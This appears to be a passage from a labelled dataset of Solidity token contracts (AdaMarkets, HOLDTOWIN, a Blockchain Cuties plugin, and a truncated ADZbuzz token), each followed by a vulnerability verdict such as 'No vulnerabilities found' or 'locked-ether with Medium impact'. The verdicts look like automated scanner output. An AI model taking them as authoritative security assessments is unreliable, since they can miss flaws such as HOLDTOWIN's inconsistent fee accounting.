* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Implementation of the Owned Contract.
*
*/
contract Owned is Context {
address public _owner;
address public _newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(_msgSender() == _owner, "AdaMarkets: Only Owner can perform this task");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
_newOwner = newOwner;
}
function acceptOwnership() public {
require(_msgSender() == _newOwner, "AdaMarkets: Token Contract Ownership has not been set for the address");
emit OwnershipTransferred(_owner, _newOwner);
_owner = _newOwner;
_newOwner = address(0);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
*/
contract AdaMarkets is IERC20, Owned {
using SafeMath for uint256;
mapping (address => uint256) private _balances; // Total balance per address (locked + unlocked)
mapping (address => uint256) private _unlockedTokens; // Unlocked Tokens, available for transfer
mapping (address => mapping (address => uint256)) private _allowances;
struct LockRecord {
uint256 lockingPeriod;
uint256 tokens;
bool isUnlocked;
}
mapping(address => LockRecord[]) private records; // Record of Locking periods and tokens per address
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor( address owner ) {
_name = "AdaMarkets";
_symbol = "ADAM";
_decimals = 18;
_totalSupply = 1000000 * (10 ** 18);
_owner = owner;
_balances[_owner] = _totalSupply;
_unlockedTokens[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply );
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-balanceOf}.
*/
function unLockedBalanceOf(address account) public view returns (uint256) {
return _unlockedTokens[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(),recipient,amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
require(spender != address(0), "AdaMarkets: approve to the zero address");
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender,recipient,amount);
require(amount <= _allowances[sender][_msgSender()],"AdaMarkets: Check for approved token count failed");
_allowances[sender][_msgSender()] = _allowances[sender][_msgSender()].sub(amount);
emit Approval(sender, _msgSender(), _allowances[sender][_msgSender()]);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(recipient != address(0),"AdaMarkets: Cannot have recipient as zero address");
require(sender != address(0),"AdaMarkets: Cannot have sender as zero address");
require(_balances[sender] >= amount,"AdaMarkets: Insufficient Balance" );
require(_balances[recipient] + amount >= _balances[recipient],"AdaMarkets: Balance check failed");
// update the unlocked tokens based on time if required
_updateUnLockedTokens(sender, amount);
_unlockedTokens[sender] = _unlockedTokens[sender].sub(amount);
_unlockedTokens[recipient] = _unlockedTokens[recipient].add(amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender,recipient,amount);
}
function _transferLock(address sender, address recipient, uint256 amount) private {
require(recipient != address(0),"AdaMarkets: Cannot have recipient as zero address");
require(sender != address(0),"AdaMarkets: Cannot have sender as zero address");
require(_balances[sender] >= amount,"AdaMarkets: Insufficient Balance" );
require(_balances[recipient] + amount >= _balances[recipient],"AdaMarkets: Balance check failed");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
_unlockedTokens[sender] = _unlockedTokens[sender].sub(amount);
emit Transfer(sender,recipient,amount);
}
/**
* @dev Destroys `amount` tokens from the `account`.
*
* See {ERC20-_burn}.
*/
function burn(address account, uint256 amount) public onlyOwner {
require(account != address(0), "AdaMarkets: burn from the zero address");
if( _balances[account] == _unlockedTokens[account]){
_unlockedTokens[account] = _unlockedTokens[account].sub(amount, "AdaMarkets: burn amount exceeds balance");
}
_balances[account] = _balances[account].sub(amount, "AdaMarkets: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
if(account != _msgSender()){
require(amount <= _allowances[account][_msgSender()],"AdaMarkets: Check for approved token count failed");
_allowances[account][_msgSender()] = _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance");
emit Approval(account, _msgSender(), _allowances[account][_msgSender()]);
}
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's _msgSender() to `to` _msgSender()
// - Owner's _msgSender() must have sufficient balance to transfer
// - 0 value transfers are allowed
// - takes in locking Period to lock the tokens to be used
// - if want to transfer without locking enter 0 in lockingPeriod argument
// ------------------------------------------------------------------------
function distributeTokens(address to, uint tokens, uint256 lockingPeriod) onlyOwner public returns (bool success) {
// if there is no lockingPeriod, add tokens to _unlockedTokens per address
if(lockingPeriod == 0)
_transfer(_msgSender(),to, tokens);
// if there is a lockingPeriod, add tokens to record mapping
else
_transferLock(_msgSender(),to, tokens);
_addRecord(to, tokens, lockingPeriod);
return true;
}
// ------------------------------------------------------------------------
// Adds record of addresses with locking period and tokens to lock
// ------------------------------------------------------------------------
function _addRecord(address to, uint tokens, uint256 lockingPeriod) private {
records[to].push(LockRecord(lockingPeriod,tokens, false));
}
// ------------------------------------------------------------------------
// Checks if there is required amount of unLockedTokens available
// ------------------------------------------------------------------------
function _updateUnLockedTokens(address _from, uint tokens) private returns (bool success) {
// if _unlockedTokens are greater than "tokens" of "to", initiate transfer
if(_unlockedTokens[_from] >= tokens){
return true;
}
// if _unlockedTokens are less than "tokens" of "to", update _unlockedTokens by checking record with "now" time
else{
_updateRecord(_from);
// check if _unlockedTokens are greater than "token" of "to", initiate transfer
if(_unlockedTokens[_from] >= tokens){
return true;
}
// otherwise revert
else{
revert("AdaMarkets: Insufficient unlocked tokens");
}
}
}
// ------------------------------------------------------------------------
// Unlocks the coins if lockingPeriod is expired
// ------------------------------------------------------------------------
function _updateRecord(address account) private returns (bool success){
LockRecord[] memory tempRecords = records[account];
uint256 unlockedTokenCount = 0;
for(uint256 i=0; i < tempRecords.length; i++){
if(tempRecords[i].lockingPeriod < block.timestamp && tempRecords[i].isUnlocked == false){
unlockedTokenCount = unlockedTokenCount.add(tempRecords[i].tokens);
tempRecords[i].isUnlocked = true;
records[account][i] = LockRecord(tempRecords[i].lockingPeriod, tempRecords[i].tokens, tempRecords[i].isUnlocked);
}
}
_unlockedTokens[account] = _unlockedTokens[account].add(unlockedTokenCount);
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// This is the HOLDTOWIN token contract.
// A method to play the crypto lottery in a passive way. One ticket will qualify holder for all drawings as long as user holds 7ADD.
// Prize will depend on the amount of tokens transacted. -1.25% of all transactions will go to Jackpot-
// Community will decide how much you will have to hold to be included into drawings for 1 chance.
// There is a 1.25% burn of 7ADD erc20 token on any transaction.
// There is a 1.25% fee of 7ADD erc20 token that will be added to the prize.
// Total fee when you buy 7ADD erc20 token = 2.5% * 1.25% burn and 1.25% to jackpot *
// Total fee when you sell 7ADD erc20 token = 2.5% * 1.25% burn and 1.25% to jackpot *
// Total fee when you transfer 7ADD erc20 token to any other address = 2.5% * 1.25% burn and 1.25% to jackpot *
// Lottery prizes will be sent by Jackpot Account after the draw is complete - 1.25% of the Jackpot amount will be reported to the next draw - 1.25% of the Jackpot amount will be burned
// 7ADD is a deflationary token.
// Anyone can contribute to the Jackpot by sending erc20/eth/NFT to the Jackpot Account. Prizes will be distributed as per senders wish. Contact us if you want to contribute to the prize.
// Deployer Account / Jackpot Account and UNISWAP addresses are not participating in draws.
// Team funds -5%- WILL participate in draws.
// Team funds account 0x57f4e37255767190962874D85C98082Ed31c59fB - Team will receive funds by Deployer transfer - 5% of total supply.
// Marketing funds will be spent directly from deployer accounts to avoid double burns. All marketing receivers WILL participate in draws if minimum amount is available- 5% of total supply.
// All decisions about the prize and pariticpation amount will be taken by community via snapshot.page decentralized voting.
// Good luck!
// Details on https://holdtowin.eth.link
//
// Symbol : 7ADD
// Name : HOLDTOWIN
// Total supply : 100000
// Decimals : 18
// Deployer Account / Jackpot Account : 0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD
//
// Join us on Telegram https://t.me/sevenADDtoken
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract HOLDTOWIN is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "HOLDTOWIN";
string constant tokenSymbol = "7ADD";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000000000000000000000;
uint256 public burntotal = 250;
uint256 public jackpots = 125;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function getValueCom(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(burntotal);
uint256 valueCom = roundValue.mul(burntotal).div(10000);
return valueCom;
}
function getValueJackpot(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(jackpots);
uint256 valueJackpot = roundValue.mul(jackpots).div(10000);
return valueJackpot;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 burn7ADD = getValueCom(value);
uint256 transfer7ADD = value.sub(burn7ADD);
uint256 jackpot7ADD = getValueJackpot(value);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(transfer7ADD);
_balances[0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD] = _balances[0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD].add(jackpot7ADD);
_totalSupply = _totalSupply.sub(jackpot7ADD);
emit Transfer(msg.sender, to, transfer7ADD);
emit Transfer(msg.sender, 0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD, jackpot7ADD);
emit Transfer(msg.sender, address(0), jackpot7ADD);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 burn7ADD = getValueCom(value);
uint256 transfer7ADD = value.sub(burn7ADD);
uint256 jackpot7ADD = getValueJackpot(value);
_balances[to] = _balances[to].add(transfer7ADD);
_balances[0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD] = _balances[0x1a6c95c161B0F4159A65371Ed1113bc1F6257ADD].add(jackpot7ADD);
_totalSupply = _totalSupply.sub(jackpot7ADD);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
// actions when transfering 7ADD
// 1.25% will be sent to burn and 1.25% will be sent to jackpot fund
emit Transfer(from, to, transfer7ADD);
emit Transfer(from, address(0), jackpot7ADD);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
// internal functions can not be called by owner or users. they help in contract logic
// external functions can be called by any user only for own actions
// you can burn your own tokens if you want but you can not burn others
// the mint internal function is used to mint the initial supply ONLY. no other tokens can be minted after the initial mint.
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
// Reference to contract tracking NFT ownership
CutieCoreInterface public coreContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint16 public ownerFee;
// @dev Throws if called by any account other than the owner.
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _coreAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _fee - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
// @dev Set the owner's fee.
// @param fee should be between 0-10,000.
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _cutieId - ID of token whose ownership to verify.
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _cutieId - ID of token whose approval to verify.
function _escrow(address _owner, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transferFrom(_owner, this, _cutieId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _cutieId - ID of token to transfer.
function _transfer(address _receiver, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transfer(_receiver, _cutieId);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint128 _price) internal view returns (uint128) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
}
/// @title Item effect for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract GenerationDecreaseEffect is CutiePluginBase
{
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address /*_owner*/
)
external
onlyCore
whenNotPaused
payable
{
uint16 generation = coreContract.getGeneration(_cutieId);
require(generation > 0);
if (generation > _parameter)
{
generation -= uint16(_parameter);
}
else
{
generation = 0;
}
coreContract.changeGeneration(_cutieId, generation);
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT221741' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT221741
// Name : ADZbuzz Whole30.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT221741";
name = "ADZbuzz Whole30.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
